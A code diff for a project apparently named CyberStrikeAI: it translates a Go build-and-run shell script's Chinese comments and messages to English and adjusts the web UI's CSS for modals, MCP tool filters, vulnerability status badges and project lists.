note " For a permanent setting, set the GOPROXY env var"
|
||||||
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
info "下载 Go 依赖..."
|
info "Downloading Go dependencies..."
|
||||||
GO_DOWNLOAD_LOG=$(mktemp)
|
GO_DOWNLOAD_LOG=$(mktemp)
|
||||||
(
|
(
|
||||||
set +e # 在子shell中禁用错误退出
|
set +e # disable errexit in subshell
|
||||||
export GOPROXY="$GOPROXY"
|
export GOPROXY="$GOPROXY"
|
||||||
go mod download >"$GO_DOWNLOAD_LOG" 2>&1
|
go mod download >"$GO_DOWNLOAD_LOG" 2>&1
|
||||||
echo $? > "${GO_DOWNLOAD_LOG}.exit"
|
echo $? > "${GO_DOWNLOAD_LOG}.exit"
|
||||||
) &
|
) &
|
||||||
GO_DOWNLOAD_PID=$!
|
GO_DOWNLOAD_PID=$!
|
||||||
|
|
||||||
# 等待一小段时间,确保进程启动
|
# Brief pause so the process can start
|
||||||
sleep 0.1
|
sleep 0.1
|
||||||
|
|
||||||
# 显示进度(如果进程还在运行)
|
# Show progress while still running
|
||||||
if kill -0 "$GO_DOWNLOAD_PID" 2>/dev/null; then
|
if kill -0 "$GO_DOWNLOAD_PID" 2>/dev/null; then
|
||||||
show_progress "$GO_DOWNLOAD_PID" "正在下载 Go 依赖"
|
show_progress "$GO_DOWNLOAD_PID" "Downloading Go dependencies"
|
||||||
else
|
else
|
||||||
# 进程已经结束,等待一下确保退出码文件已写入
|
# Process already finished; wait for exit code file
|
||||||
sleep 0.2
|
sleep 0.2
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 等待进程完成,忽略 wait 的退出码
|
# Wait for completion; ignore wait exit code
|
||||||
wait "$GO_DOWNLOAD_PID" 2>/dev/null || true
|
wait "$GO_DOWNLOAD_PID" 2>/dev/null || true
|
||||||
|
|
||||||
GO_DOWNLOAD_EXIT_CODE=0
|
GO_DOWNLOAD_EXIT_CODE=0
|
||||||
@@ -274,7 +274,7 @@ build_go_project() {
|
|||||||
GO_DOWNLOAD_EXIT_CODE=$(cat "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || echo "1")
|
GO_DOWNLOAD_EXIT_CODE=$(cat "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || echo "1")
|
||||||
rm -f "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || true
|
rm -f "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || true
|
||||||
else
|
else
|
||||||
# 如果没有退出码文件,检查日志中是否有错误
|
# No exit code file; check log for errors
|
||||||
if [ -f "$GO_DOWNLOAD_LOG" ] && grep -q -i "error\|failed" "$GO_DOWNLOAD_LOG" 2>/dev/null; then
|
if [ -f "$GO_DOWNLOAD_LOG" ] && grep -q -i "error\|failed" "$GO_DOWNLOAD_LOG" 2>/dev/null; then
|
||||||
GO_DOWNLOAD_EXIT_CODE=1
|
GO_DOWNLOAD_EXIT_CODE=1
|
||||||
fi
|
fi
|
||||||
@@ -282,33 +282,33 @@ build_go_project() {
|
|||||||
rm -f "$GO_DOWNLOAD_LOG" 2>/dev/null || true
|
rm -f "$GO_DOWNLOAD_LOG" 2>/dev/null || true
|
||||||
|
|
||||||
if [ $GO_DOWNLOAD_EXIT_CODE -ne 0 ]; then
|
if [ $GO_DOWNLOAD_EXIT_CODE -ne 0 ]; then
|
||||||
error "Go 依赖下载失败"
|
error "Go dependency download failed"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
success "Go 依赖下载完成"
|
success "Go dependencies downloaded"
|
||||||
|
|
||||||
info "构建项目..."
|
info "Building project..."
|
||||||
GO_BUILD_LOG=$(mktemp)
|
GO_BUILD_LOG=$(mktemp)
|
||||||
(
|
(
|
||||||
set +e # 在子shell中禁用错误退出
|
set +e # disable errexit in subshell
|
||||||
export GOPROXY="$GOPROXY"
|
export GOPROXY="$GOPROXY"
|
||||||
go build -o "$BINARY_NAME" cmd/server/main.go >"$GO_BUILD_LOG" 2>&1
|
go build -o "$BINARY_NAME" cmd/server/main.go >"$GO_BUILD_LOG" 2>&1
|
||||||
echo $? > "${GO_BUILD_LOG}.exit"
|
echo $? > "${GO_BUILD_LOG}.exit"
|
||||||
) &
|
) &
|
||||||
GO_BUILD_PID=$!
|
GO_BUILD_PID=$!
|
||||||
|
|
||||||
# 等待一小段时间,确保进程启动
|
# Brief pause so the process can start
|
||||||
sleep 0.1
|
sleep 0.1
|
||||||
|
|
||||||
# 显示进度(如果进程还在运行)
|
# Show progress while still running
|
||||||
if kill -0 "$GO_BUILD_PID" 2>/dev/null; then
|
if kill -0 "$GO_BUILD_PID" 2>/dev/null; then
|
||||||
show_progress "$GO_BUILD_PID" "正在构建项目"
|
show_progress "$GO_BUILD_PID" "Building project"
|
||||||
else
|
else
|
||||||
# 进程已经结束,等待一下确保退出码文件已写入
|
# Process already finished; wait for exit code file
|
||||||
sleep 0.2
|
sleep 0.2
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 等待进程完成,忽略 wait 的退出码
|
# Wait for completion; ignore wait exit code
|
||||||
wait "$GO_BUILD_PID" 2>/dev/null || true
|
wait "$GO_BUILD_PID" 2>/dev/null || true
|
||||||
|
|
||||||
GO_BUILD_EXIT_CODE=0
|
GO_BUILD_EXIT_CODE=0
|
||||||
@@ -316,20 +316,20 @@ build_go_project() {
|
|||||||
GO_BUILD_EXIT_CODE=$(cat "${GO_BUILD_LOG}.exit" 2>/dev/null || echo "1")
|
GO_BUILD_EXIT_CODE=$(cat "${GO_BUILD_LOG}.exit" 2>/dev/null || echo "1")
|
||||||
rm -f "${GO_BUILD_LOG}.exit" 2>/dev/null || true
|
rm -f "${GO_BUILD_LOG}.exit" 2>/dev/null || true
|
||||||
else
|
else
|
||||||
# 如果没有退出码文件,检查日志中是否有错误
|
# No exit code file; check log for errors
|
||||||
if [ -f "$GO_BUILD_LOG" ] && grep -q -i "error\|failed" "$GO_BUILD_LOG" 2>/dev/null; then
|
if [ -f "$GO_BUILD_LOG" ] && grep -q -i "error\|failed" "$GO_BUILD_LOG" 2>/dev/null; then
|
||||||
GO_BUILD_EXIT_CODE=1
|
GO_BUILD_EXIT_CODE=1
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ $GO_BUILD_EXIT_CODE -eq 0 ]; then
|
if [ $GO_BUILD_EXIT_CODE -eq 0 ]; then
|
||||||
success "项目构建完成: $BINARY_NAME"
|
success "Build complete: $BINARY_NAME"
|
||||||
rm -f "$GO_BUILD_LOG"
|
rm -f "$GO_BUILD_LOG"
|
||||||
else
|
else
|
||||||
error "项目构建失败"
|
error "Build failed"
|
||||||
# 显示构建错误
|
# Show build errors
|
||||||
echo ""
|
echo ""
|
||||||
info "构建错误详情:"
|
info "Build error details:"
|
||||||
cat "$GO_BUILD_LOG" | sed 's/^/ /'
|
cat "$GO_BUILD_LOG" | sed 's/^/ /'
|
||||||
echo ""
|
echo ""
|
||||||
rm -f "$GO_BUILD_LOG"
|
rm -f "$GO_BUILD_LOG"
|
||||||
@@ -337,24 +337,24 @@ build_go_project() {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# 检查是否需要重新构建
|
# Check whether a rebuild is needed
|
||||||
need_rebuild() {
|
need_rebuild() {
|
||||||
if [ ! -f "$BINARY_NAME" ]; then
|
if [ ! -f "$BINARY_NAME" ]; then
|
||||||
return 0 # 需要构建
|
return 0 # needs build
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 检查源代码是否有更新
|
# Check if source changed since last build
|
||||||
if [ "$BINARY_NAME" -ot cmd/server/main.go ] || \
|
if [ "$BINARY_NAME" -ot cmd/server/main.go ] || \
|
||||||
[ "$BINARY_NAME" -ot go.mod ] || \
|
[ "$BINARY_NAME" -ot go.mod ] || \
|
||||||
find internal cmd -name "*.go" -newer "$BINARY_NAME" 2>/dev/null | grep -q .; then
|
find internal cmd -name "*.go" -newer "$BINARY_NAME" 2>/dev/null | grep -q .; then
|
||||||
return 0 # 需要重新构建
|
return 0 # needs rebuild
|
||||||
fi
|
fi
|
||||||
|
|
||||||
return 1 # 不需要构建
|
return 1 # no rebuild needed
|
||||||
}
|
}
|
||||||
|
|
||||||
# 主流程
|
# Main flow
|
||||||
# 默认启动主站 HTTPS(--https 传给二进制);传 --http 则走明文 HTTP。
|
# Default: HTTPS (--https passed to binary); --http uses plain HTTP.
|
||||||
main() {
|
main() {
|
||||||
USE_HTTPS=1
|
USE_HTTPS=1
|
||||||
FORWARD_ARGS=()
|
FORWARD_ARGS=()
|
||||||
@@ -366,39 +366,39 @@ main() {
|
|||||||
FORWARD_ARGS+=("$arg")
|
FORWARD_ARGS+=("$arg")
|
||||||
done
|
done
|
||||||
|
|
||||||
# 环境检查
|
# Environment checks
|
||||||
info "检查运行环境..."
|
info "Checking runtime environment..."
|
||||||
check_python
|
check_python
|
||||||
check_go
|
check_go
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 设置 Python 环境
|
# Python setup
|
||||||
info "设置 Python 环境..."
|
info "Setting up Python environment..."
|
||||||
setup_python_env
|
setup_python_env
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 构建 Go 项目
|
# Go build
|
||||||
if need_rebuild; then
|
if need_rebuild; then
|
||||||
info "准备构建项目..."
|
info "Preparing to build project..."
|
||||||
build_go_project
|
build_go_project
|
||||||
else
|
else
|
||||||
success "可执行文件已是最新,跳过构建"
|
success "Binary is up to date; skipping build"
|
||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 启动服务器
|
# Start server
|
||||||
success "所有准备工作完成!"
|
success "All setup complete!"
|
||||||
echo ""
|
echo ""
|
||||||
if [ "$USE_HTTPS" -eq 1 ]; then
|
if [ "$USE_HTTPS" -eq 1 ]; then
|
||||||
info "启动 CyberStrikeAI 服务器(HTTPS + HTTP/2,自签证书)..."
|
info "Starting CyberStrikeAI server (HTTPS + HTTP/2, self-signed cert)..."
|
||||||
note "纯 HTTP 启动请使用: $0 --http"
|
note "For plain HTTP, use: $0 --http"
|
||||||
else
|
else
|
||||||
info "启动 CyberStrikeAI 服务器(HTTP)..."
|
info "Starting CyberStrikeAI server (HTTP)..."
|
||||||
fi
|
fi
|
||||||
echo "=========================================="
|
echo "=========================================="
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# 始终传入项目根目录下的 config.yaml,避免 cwd 不在项目根时找不到配置;额外参数仍可追加(如再次 -config 覆盖,以 Go flag 后写为准)。
|
# Always pass config.yaml from project root so cwd does not matter; extra args still apply (e.g. -config override; last Go flag wins).
|
||||||
if [ "$USE_HTTPS" -eq 1 ]; then
|
if [ "$USE_HTTPS" -eq 1 ]; then
|
||||||
if [ "${#FORWARD_ARGS[@]}" -gt 0 ]; then
|
if [ "${#FORWARD_ARGS[@]}" -gt 0 ]; then
|
||||||
exec "./$BINARY_NAME" -config "$CONFIG_FILE" --https "${FORWARD_ARGS[@]}"
|
exec "./$BINARY_NAME" -config "$CONFIG_FILE" --https "${FORWARD_ARGS[@]}"
|
||||||
@@ -414,5 +414,5 @@ main() {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# 执行主流程(支持参数,如: ./run.sh --http)
|
# Run main (supports args, e.g. ./run.sh --http)
|
||||||
main "$@"
|
main "$@"
|
||||||
|
|||||||
@@ -1371,7 +1371,6 @@
|
|||||||
Modal
|
Modal
|
||||||
============================================================================ */
|
============================================================================ */
|
||||||
|
|
||||||
/* Toast 须高于模态遮罩 (10050),避免被 backdrop-filter 模糊 */
|
|
||||||
#c2-toast-container {
|
#c2-toast-container {
|
||||||
z-index: 10100 !important;
|
z-index: 10100 !important;
|
||||||
}
|
}
|
||||||
@@ -1379,9 +1378,7 @@
|
|||||||
.c2-modal-overlay {
|
.c2-modal-overlay {
|
||||||
position: fixed;
|
position: fixed;
|
||||||
top: 0; left: 0; right: 0; bottom: 0;
|
top: 0; left: 0; right: 0; bottom: 0;
|
||||||
background: rgba(15, 23, 42, 0.5);
|
background: rgba(15, 23, 42, 0.52);
|
||||||
backdrop-filter: blur(8px);
|
|
||||||
-webkit-backdrop-filter: blur(8px);
|
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
justify-content: center;
|
justify-content: center;
|
||||||
@@ -1404,7 +1401,8 @@
|
|||||||
overflow-y: auto;
|
overflow-y: auto;
|
||||||
box-shadow: var(--c2-shadow-lg);
|
box-shadow: var(--c2-shadow-lg);
|
||||||
border: 1px solid var(--c2-border);
|
border: 1px solid var(--c2-border);
|
||||||
animation: c2-slide-up 0.2s ease-out;
|
animation: c2-slide-up 0.18s ease-out;
|
||||||
|
contain: layout style paint;
|
||||||
}
|
}
|
||||||
|
|
||||||
@keyframes c2-slide-up {
|
@keyframes c2-slide-up {
|
||||||
|
|||||||
+279
-24
@@ -3326,9 +3326,9 @@ header {
|
|||||||
top: 0;
|
top: 0;
|
||||||
width: 100%;
|
width: 100%;
|
||||||
height: 100%;
|
height: 100%;
|
||||||
background-color: rgba(0, 0, 0, 0.6);
|
background-color: rgba(15, 23, 42, 0.52);
|
||||||
overflow: auto;
|
overflow: auto;
|
||||||
animation: fadeIn 0.2s ease-in;
|
animation: fadeIn 0.15s ease-out;
|
||||||
}
|
}
|
||||||
|
|
||||||
.modal-content {
|
.modal-content {
|
||||||
@@ -3343,8 +3343,9 @@ header {
|
|||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
box-shadow: var(--shadow-lg);
|
box-shadow: var(--shadow-lg);
|
||||||
border: 1px solid var(--border-color);
|
border: 1px solid var(--border-color);
|
||||||
animation: slideDown 0.3s ease-out;
|
animation: slideDown 0.18s ease-out;
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
|
contain: layout style paint;
|
||||||
}
|
}
|
||||||
|
|
||||||
@keyframes slideDown {
|
@keyframes slideDown {
|
||||||
@@ -4095,6 +4096,12 @@ header {
|
|||||||
word-break: break-word;
|
word-break: break-word;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* 长过程详情:跳过视口外时间线条目的布局/绘制,减轻大段工具输出时的主线程压力 */
|
||||||
|
.progress-timeline .timeline-item {
|
||||||
|
content-visibility: auto;
|
||||||
|
contain-intrinsic-size: auto 72px;
|
||||||
|
}
|
||||||
|
|
||||||
.tool-details {
|
.tool-details {
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
@@ -5590,6 +5597,66 @@ header {
|
|||||||
animation: mcpHighlight 2s ease-out;
|
animation: mcpHighlight 2s ease-out;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.external-mcp-item.clickable {
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.external-mcp-item.selected {
|
||||||
|
border-color: var(--accent-color);
|
||||||
|
box-shadow: 0 0 0 1px var(--accent-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.tool-item.highlight {
|
||||||
|
animation: mcpHighlight 2s ease-out;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tools-source-filter-chip {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 6px;
|
||||||
|
padding: 4px 8px 4px 10px;
|
||||||
|
border-radius: 999px;
|
||||||
|
background: rgba(var(--accent-rgb, 59, 130, 246), 0.12);
|
||||||
|
border: 1px solid var(--accent-color);
|
||||||
|
color: var(--text-primary);
|
||||||
|
font-size: 0.8125rem;
|
||||||
|
line-height: 1.2;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tools-source-filter-clear {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
width: auto;
|
||||||
|
min-width: 0;
|
||||||
|
height: auto;
|
||||||
|
padding: 0;
|
||||||
|
margin: 0;
|
||||||
|
border: none !important;
|
||||||
|
border-radius: 0;
|
||||||
|
background: transparent !important;
|
||||||
|
box-shadow: none;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
cursor: pointer;
|
||||||
|
font-size: 1rem;
|
||||||
|
line-height: 1;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tools-actions .tools-source-filter-clear {
|
||||||
|
padding: 0;
|
||||||
|
border: none;
|
||||||
|
background: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tools-source-filter-clear:hover,
|
||||||
|
.tools-actions .tools-source-filter-clear:hover {
|
||||||
|
background: transparent !important;
|
||||||
|
border: none !important;
|
||||||
|
box-shadow: none;
|
||||||
|
color: var(--text-primary);
|
||||||
|
}
|
||||||
|
|
||||||
@keyframes mcpHighlight {
|
@keyframes mcpHighlight {
|
||||||
0% { box-shadow: 0 0 0 3px var(--accent-color); border-color: var(--accent-color); }
|
0% { box-shadow: 0 0 0 3px var(--accent-color); border-color: var(--accent-color); }
|
||||||
100% { box-shadow: none; border-color: var(--border-color); }
|
100% { box-shadow: none; border-color: var(--border-color); }
|
||||||
@@ -7130,17 +7197,68 @@ header {
|
|||||||
stroke-width: 2;
|
stroke-width: 2;
|
||||||
}
|
}
|
||||||
|
|
||||||
.mcp-stats-timeline-empty,
|
|
||||||
.mcp-stats-timeline-error {
|
.mcp-stats-timeline-error {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
padding: 20px 8px;
|
padding: 16px 8px;
|
||||||
text-align: center;
|
text-align: center;
|
||||||
font-size: 0.75rem;
|
font-size: 0.75rem;
|
||||||
color: var(--text-muted);
|
color: #b91c1c;
|
||||||
}
|
}
|
||||||
|
|
||||||
.mcp-stats-timeline-error {
|
.mcp-stats-timeline-empty-state {
|
||||||
color: #b91c1c;
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
gap: 6px;
|
||||||
|
flex: 1;
|
||||||
|
min-height: 88px;
|
||||||
|
padding: 20px 16px;
|
||||||
|
text-align: center;
|
||||||
|
border-radius: 8px;
|
||||||
|
background: rgba(148, 163, 184, 0.06);
|
||||||
|
border: 1px dashed rgba(148, 163, 184, 0.28);
|
||||||
|
}
|
||||||
|
|
||||||
|
.mcp-stats-timeline-empty-state--compact {
|
||||||
|
min-height: 72px;
|
||||||
|
padding: 14px 10px;
|
||||||
|
gap: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mcp-stats-timeline-empty-state__icon {
|
||||||
|
color: rgba(148, 163, 184, 0.75);
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mcp-stats-timeline-empty-state--compact .mcp-stats-timeline-empty-state__icon {
|
||||||
|
width: 28px;
|
||||||
|
height: 28px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mcp-stats-timeline-empty-state__title {
|
||||||
|
margin: 0;
|
||||||
|
font-size: 0.8125rem;
|
||||||
|
font-weight: 500;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
line-height: 1.4;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mcp-stats-timeline-empty-state--compact .mcp-stats-timeline-empty-state__title {
|
||||||
|
font-size: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mcp-stats-timeline-empty-state__hint {
|
||||||
|
margin: 0;
|
||||||
|
max-width: 28em;
|
||||||
|
font-size: 0.6875rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
line-height: 1.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mcp-stats-timeline-empty-state--compact .mcp-stats-timeline-empty-state__hint {
|
||||||
|
font-size: 0.625rem;
|
||||||
|
max-width: 100%;
|
||||||
}
|
}
|
||||||
|
|
||||||
.mcp-stats-timeline-tooltip {
|
.mcp-stats-timeline-tooltip {
|
||||||
@@ -16630,6 +16748,12 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
|
|||||||
border-color: rgba(148, 163, 184, 0.25);
|
border-color: rgba(148, 163, 184, 0.25);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.dashboard-recent-vuln-status.st-ignored {
|
||||||
|
background: rgba(108, 117, 125, 0.12);
|
||||||
|
color: #868e96;
|
||||||
|
border-color: rgba(108, 117, 125, 0.22);
|
||||||
|
}
|
||||||
|
|
||||||
@media (max-width: 720px) {
|
@media (max-width: 720px) {
|
||||||
.dashboard-recent-vuln-item {
|
.dashboard-recent-vuln-item {
|
||||||
grid-template-columns: 56px minmax(0, 1fr) auto 8.25rem;
|
grid-template-columns: 56px minmax(0, 1fr) auto 8.25rem;
|
||||||
@@ -18704,6 +18828,11 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
|
|||||||
color: #dc3545;
|
color: #dc3545;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.status-badge.status-ignored {
|
||||||
|
background: rgba(108, 117, 125, 0.12);
|
||||||
|
color: #868e96;
|
||||||
|
}
|
||||||
|
|
||||||
.vulnerability-date {
|
.vulnerability-date {
|
||||||
font-size: 0.75rem;
|
font-size: 0.75rem;
|
||||||
color: var(--text-muted);
|
color: var(--text-muted);
|
||||||
@@ -19246,6 +19375,8 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
|
|||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
transition: all 0.2s cubic-bezier(0.16, 1, 0.3, 1);
|
transition: all 0.2s cubic-bezier(0.16, 1, 0.3, 1);
|
||||||
position: relative;
|
position: relative;
|
||||||
|
min-width: 0;
|
||||||
|
overflow: hidden;
|
||||||
}
|
}
|
||||||
|
|
||||||
.role-selection-item-main:hover {
|
.role-selection-item-main:hover {
|
||||||
@@ -19308,6 +19439,10 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
|
|||||||
margin: 0;
|
margin: 0;
|
||||||
transition: color 0.2s cubic-bezier(0.16, 1, 0.3, 1);
|
transition: color 0.2s cubic-bezier(0.16, 1, 0.3, 1);
|
||||||
letter-spacing: -0.01em;
|
letter-spacing: -0.01em;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
overflow-wrap: anywhere;
|
||||||
}
|
}
|
||||||
|
|
||||||
.role-selection-item-main.selected .role-selection-item-name-main {
|
.role-selection-item-main.selected .role-selection-item-name-main {
|
||||||
@@ -19315,6 +19450,10 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
|
|||||||
font-weight: 600;
|
font-weight: 600;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.role-selection-item-main.selected .role-selection-item-content-main {
|
||||||
|
padding-right: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
.role-selection-item-description-main {
|
.role-selection-item-description-main {
|
||||||
font-size: 0.75rem;
|
font-size: 0.75rem;
|
||||||
color: #666666;
|
color: #666666;
|
||||||
@@ -22386,7 +22525,10 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
}
|
}
|
||||||
.projects-list-item {
|
.projects-list-item {
|
||||||
position: relative;
|
position: relative;
|
||||||
padding: 10px 12px 10px 14px;
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 4px;
|
||||||
|
padding: 10px 8px 10px 14px;
|
||||||
border-radius: 8px;
|
border-radius: 8px;
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
font-size: 0.875rem;
|
font-size: 0.875rem;
|
||||||
@@ -22419,8 +22561,43 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
color: #94a3b8;
|
color: #94a3b8;
|
||||||
}
|
}
|
||||||
.projects-list-item-body {
|
.projects-list-item-body {
|
||||||
|
flex: 1;
|
||||||
min-width: 0;
|
min-width: 0;
|
||||||
}
|
}
|
||||||
|
.projects-list-item-menu {
|
||||||
|
width: 24px;
|
||||||
|
height: 24px;
|
||||||
|
padding: 0;
|
||||||
|
border: none;
|
||||||
|
background: transparent;
|
||||||
|
color: var(--text-muted, #94a3b8);
|
||||||
|
cursor: pointer;
|
||||||
|
border-radius: 6px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
flex-shrink: 0;
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: 600;
|
||||||
|
line-height: 1;
|
||||||
|
opacity: 0;
|
||||||
|
transition: opacity 0.15s ease, background 0.15s ease, color 0.15s ease;
|
||||||
|
}
|
||||||
|
.projects-list-item:hover .projects-list-item-menu,
|
||||||
|
.projects-list-item.is-active .projects-list-item-menu {
|
||||||
|
opacity: 0.75;
|
||||||
|
}
|
||||||
|
.projects-list-item-menu:hover,
|
||||||
|
.projects-list-item-menu:focus-visible {
|
||||||
|
opacity: 1;
|
||||||
|
background: #e2e8f0;
|
||||||
|
color: var(--text-primary, #0f172a);
|
||||||
|
outline: none;
|
||||||
|
}
|
||||||
|
.projects-list-item.is-active .projects-list-item-menu:hover,
|
||||||
|
.projects-list-item.is-active .projects-list-item-menu:focus-visible {
|
||||||
|
background: #dbeafe;
|
||||||
|
}
|
||||||
.projects-list-item-name {
|
.projects-list-item-name {
|
||||||
font-weight: 600;
|
font-weight: 600;
|
||||||
color: var(--text-primary, #0f172a);
|
color: var(--text-primary, #0f172a);
|
||||||
@@ -22515,21 +22692,38 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
.projects-detail-header-main {
|
.projects-detail-header-main {
|
||||||
min-width: 0;
|
min-width: 0;
|
||||||
flex: 1;
|
flex: 1;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 6px;
|
||||||
}
|
}
|
||||||
.projects-detail-title-row {
|
.projects-detail-headline {
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
flex-wrap: wrap;
|
flex-wrap: wrap;
|
||||||
|
gap: 10px 12px;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
.projects-detail-title-group {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
gap: 10px;
|
gap: 10px;
|
||||||
|
min-width: 0;
|
||||||
|
max-width: min(560px, 100%);
|
||||||
}
|
}
|
||||||
.projects-detail-title {
|
.projects-detail-title {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
|
min-width: 0;
|
||||||
font-size: 1.375rem;
|
font-size: 1.375rem;
|
||||||
font-weight: 600;
|
font-weight: 600;
|
||||||
color: #0f172a;
|
color: #0f172a;
|
||||||
letter-spacing: -0.02em;
|
letter-spacing: -0.02em;
|
||||||
|
line-height: 1.35;
|
||||||
|
white-space: nowrap;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
}
|
}
|
||||||
.projects-status-pill {
|
.projects-status-pill {
|
||||||
|
flex-shrink: 0;
|
||||||
display: inline-flex;
|
display: inline-flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
font-size: 0.6875rem;
|
font-size: 0.6875rem;
|
||||||
@@ -22537,41 +22731,75 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
padding: 3px 10px;
|
padding: 3px 10px;
|
||||||
border-radius: 999px;
|
border-radius: 999px;
|
||||||
line-height: 1.2;
|
line-height: 1.2;
|
||||||
|
border: 1px solid transparent;
|
||||||
}
|
}
|
||||||
.projects-status-pill--active {
|
.projects-status-pill--active {
|
||||||
background: #dcfce7;
|
background: #dcfce7;
|
||||||
color: #166534;
|
color: #166534;
|
||||||
|
border-color: #86efac;
|
||||||
}
|
}
|
||||||
.projects-status-pill--archived {
|
.projects-status-pill--archived {
|
||||||
background: #f1f5f9;
|
background: #f1f5f9;
|
||||||
color: #64748b;
|
color: #64748b;
|
||||||
|
border-color: #e2e8f0;
|
||||||
}
|
}
|
||||||
.projects-detail-meta {
|
.projects-detail-meta {
|
||||||
margin: 6px 0 0;
|
margin: 0;
|
||||||
font-size: 0.8125rem;
|
font-size: 0.8125rem;
|
||||||
color: #94a3b8;
|
color: #94a3b8;
|
||||||
|
line-height: 1.4;
|
||||||
}
|
}
|
||||||
.projects-detail-desc {
|
.projects-detail-desc {
|
||||||
margin: 10px 0 0;
|
margin: 0;
|
||||||
|
max-width: min(640px, 100%);
|
||||||
font-size: 0.875rem;
|
font-size: 0.875rem;
|
||||||
color: #475569;
|
color: #475569;
|
||||||
line-height: 1.55;
|
line-height: 1.55;
|
||||||
max-width: 640px;
|
word-break: break-word;
|
||||||
|
overflow-wrap: anywhere;
|
||||||
|
display: -webkit-box;
|
||||||
|
-webkit-box-orient: vertical;
|
||||||
|
-webkit-line-clamp: 3;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
.projects-description-textarea {
|
||||||
|
max-height: 200px;
|
||||||
|
resize: vertical;
|
||||||
|
overflow-y: auto;
|
||||||
}
|
}
|
||||||
.projects-detail-stats {
|
.projects-detail-stats {
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-wrap: wrap;
|
flex-wrap: wrap;
|
||||||
gap: 8px;
|
align-items: center;
|
||||||
margin-top: 14px;
|
gap: 6px;
|
||||||
|
flex-shrink: 0;
|
||||||
|
padding-left: 12px;
|
||||||
|
border-left: 1px solid #e2e8f0;
|
||||||
}
|
}
|
||||||
.projects-stat-chip {
|
.projects-stat-chip {
|
||||||
font-size: 0.75rem;
|
font-size: 0.6875rem;
|
||||||
font-weight: 500;
|
font-weight: 500;
|
||||||
color: #475569;
|
color: #475569;
|
||||||
background: #f1f5f9;
|
background: #f1f5f9;
|
||||||
border: 1px solid #e2e8f0;
|
border: 1px solid #e2e8f0;
|
||||||
